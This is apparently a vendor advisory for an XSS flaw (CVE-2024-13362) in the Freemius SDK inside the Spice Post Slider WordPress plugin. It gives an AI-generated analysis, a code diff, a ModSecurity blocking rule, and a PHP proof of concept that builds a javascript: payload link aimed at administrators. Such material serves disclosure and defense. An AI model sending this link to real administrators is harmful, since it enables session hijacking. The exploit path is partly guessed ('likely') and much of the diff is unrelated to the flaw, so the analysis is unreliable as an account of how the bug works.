Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 10, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (spice-post-slider)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.1
Patched Version 2.2
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a reflected DOM-based cross-site scripting (XSS) flaw in the Freemius SDK (versions 2.10.1 and earlier), which is bundled with plugins such as Spice Post Slider. An unauthenticated attacker can inject and execute arbitrary JavaScript in a victim’s browser by tricking them into clicking a crafted link. The attack does not require authentication, and the CVSS score is 6.1 (Medium).

The root cause lies in the trial promotion notice system. In `class-freemius.php`, at line 24000 (vulnerable version), the SDK constructs a promotional message that includes a `$trial_url` variable. This URL is used directly in an HTML anchor without sanitization or output escaping. The vulnerable code concatenates `$message`, `$cc_string`, and a `$button` (which includes `$trial_url`) into a single string, then passes it to `$this->apply_filters( ‘trial_promotion_message’, … )`. The filter output is stored as a sticky admin notice. When the notice is rendered, the unescaped URL appears in the DOM. An attacker can control the `url` parameter (likely via the `fs_connect` or similar endpoint) and inject a `javascript:` URI or an XSS payload that becomes part of the notice HTML.

Exploitation requires the attacker to craft a URL that passes a malicious value (e.g., `javascript:alert(document.domain)` or an encoded XSS vector) into the `url` parameter when the Freemius SDK processes a connection or trial initiation. The vulnerable code path is triggered when an admin or user with access to the WordPress admin panel views the sticky notice. The attacker must trick the victim into clicking a link containing the malicious `url` parameter (e.g., `https://target.com/wp-admin/options-general.php?page=spice-post-slider&url=javascript:alert(1)`). Once the admin panel loads the notice, the injected script executes in the context of the admin session, allowing cookie theft, admin user creation, or plugin/theme manipulation.

The patch in version 2.11.0 restructures the notice concatenation. Instead of embedding the `$button` (which contains the unescaped `$trial_url`) directly into the filter string, the patch separates the message text (`$message_text`) and wraps the button in a dedicated inner `

`. The final notice output uses template markup with `

` containers, which separates user-controlled data from structural HTML. Additionally, the patch introduces a check in `class-fs-admin-notice-manager.php` that verifies the existence of the sticky admin notice JavaScript template before including it, preventing accidental inclusion if the template is missing. These changes ensure that user-supplied values are not directly concatenated into HTML without proper escaping or structural isolation.

A successful exploit allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of a logged-in WordPress administrator. This can lead to session hijacking, theft of authentication cookies, creation of rogue admin accounts, installation of malicious plugins, defacement, or redirection to phishing pages. Since the attack requires user interaction (clicking a link), the overall severity is limited, but the impact on an affected site can be total compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/spice-post-slider/freemius/includes/class-freemius.php
+++ b/spice-post-slider/freemius/includes/class-freemius.php
@@ -24000,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25476,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/spice-post-slider/freemius/includes/class-fs-plugin-updater.php
+++ b/spice-post-slider/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/spice-post-slider/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/spice-post-slider/freemius/includes/entities/class-fs-site.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
--- a/spice-post-slider/freemius/includes/entities/class-fs-user.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/spice-post-slider/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/spice-post-slider/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/spice-post-slider/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/spice-post-slider/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/spice-post-slider/freemius/start.php
+++ b/spice-post-slider/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.10.1';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

--- a/spice-post-slider/spice-post-slider.php
+++ b/spice-post-slider/spice-post-slider.php
@@ -3,7 +3,7 @@
 * Plugin Name:			Spice Post Slider
 * Plugin URI:  			https://spicethemes.com/spice-post-slider/
 * Description: 			This plugin allows you to showcase your blog posts in a beautiful slider with multiple options, It is responsive ready so it will work perfectly on different devices like mobile and iPad.
-* Version:     			2.1
+* Version:     			2.2
 * Requires at least: 	5.3
 * Requires PHP: 		5.2
 * Tested up to: 		6.7.1
@@ -20,7 +20,7 @@

 // Assuming WC_PLUGIN_VERSION is defined somewhere in your plugin
 if ( ! defined( 'SPS_PLUGIN_VERSION' ) ) {
-    define( 'SPS_PLUGIN_VERSION', '2.1' );
+    define( 'SPS_PLUGIN_VERSION', '2.2' );
 }

 if ( ! function_exists( 'sps_fs' ) ) {
@@ -94,7 +94,7 @@
 	public function __construct() {
 		$this->plugin_url  = plugin_dir_url( __FILE__ );
 		$this->plugin_path = plugin_dir_path( __FILE__ );
-		$this->version     = '2.1';
+		$this->version     = '2.2';

 		define( 'SPS_URL', $this->plugin_url );
 		define( 'SPS_PATH', $this->plugin_path );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks reflected XSS via the 'url' parameter in Freemius SDK admin pages.
# It targets the specific vulnerable endpoint pattern and detects javascript: URIs.
SecRule REQUEST_URI "@rx /wp-admin/(admin.php|options-general.php|admin-ajax.php)" 
    "id:20262000,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
    SecRule ARGS_GET:url "@rx ^javascript:" 
        "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// This PoC demonstrates that an unauthenticated attacker can inject JavaScript
// by crafting a URL with a malicious 'url' parameter that targets the Freemius
// trial promotion notice endpoint.

$target_url = 'http://localhost/wordpress'; // CHANGE THIS to the target WordPress installation

// The vulnerable parameter is 'url'. We inject a simple XSS payload.
// This URL should be sent to a logged-in admin; once viewed, the script runs.
$malicious_url = $target_url . '/wp-admin/admin.php?page=spice-post-slider&url=javascript:alert(document.domain)';

echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Payload URL: " . $malicious_url . "n";
echo "[+] Send this URL to a logged-in admin to trigger XSS.n";

// Use cURL to verify the page includes the injected script (optional)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'javascript:alert') !== false) {
    echo "[+] The response contains the injected URL. Exploit appears viable.n";
} else {
    echo "[-] The injected URL was not found in the response. Check target and payload.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School